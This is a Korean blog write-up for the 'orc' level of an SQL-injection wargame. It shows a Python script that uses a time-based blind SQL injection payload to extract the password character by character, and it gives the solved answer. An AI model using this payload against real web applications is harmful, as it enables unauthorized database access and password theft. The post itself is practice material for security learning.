본문 바로가기

Hacking/LOS

[LOS] 4. orc

728x90
반응형

 

 

  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");
  • 상기 조건문을 통해, 실제 pw 데이터와 일치하는 비밀번호 값을 입력해야지 문제가 풀리는 것을 확인하였다.
  • 제일 먼저 떠오른 풀이 방법은 Time Based SQL Injection 기법을 이용하여 pw 값을 밝혀내는 것이었다. 
  • 그래서 직접 아래와 같이 파이썬 코드를 짜보았다.

 

 

import requests

url ='https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=' #url 주소 입력

def find_pw():
    pw_len=8
    string=''
    for pw_value in range(1,pw_len+1):
        for ascii in range(48,122):
            value ="' or 2=2 and if(ascii(substr(pw,{},1))={}, sleep(3), 1)%23".format(pw_value,ascii)
            cookies={'PHPSESSID' : '내 세션 값'}
            response = requests.get(url+value, cookies=cookies)
            # print(response.url)
            if(response.elapsed.total_seconds() > 2):
                string = string + chr(ascii)
                print("{}번 째의 pw의 값은!".format(pw_value),string)
                break
            print("{}번 째의 password를 찾고 있습니다. --> {}".format(pw_value,chr(ascii)))
    print(string)
find_pw()
  • 비밀번호의 길이를 확신해서 8로 적은 이유는, 사실 비밀번호 길이를 구하는 코드도 짰는데 뭐가 잘못되었는 지 자꾸 4에서 멈춰서 무작위 대입 기법으로 대충 때려맞췄더니 8자리 라는 것을 알았기 때문이다.

 

 

 

 

 

정답: https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php?pw=095a9852

728x90
반응형

'Hacking > LOS' 카테고리의 다른 글

[LOS] 6. darkelf  (0) 2023.07.06
[LOS] 5. wolfman  (0) 2023.07.06
[LOS] 3. goblin  (0) 2023.07.05
[LOS] 2. cobolt  (0) 2023.07.05
[LOS] 1. gremlin  (0) 2023.07.05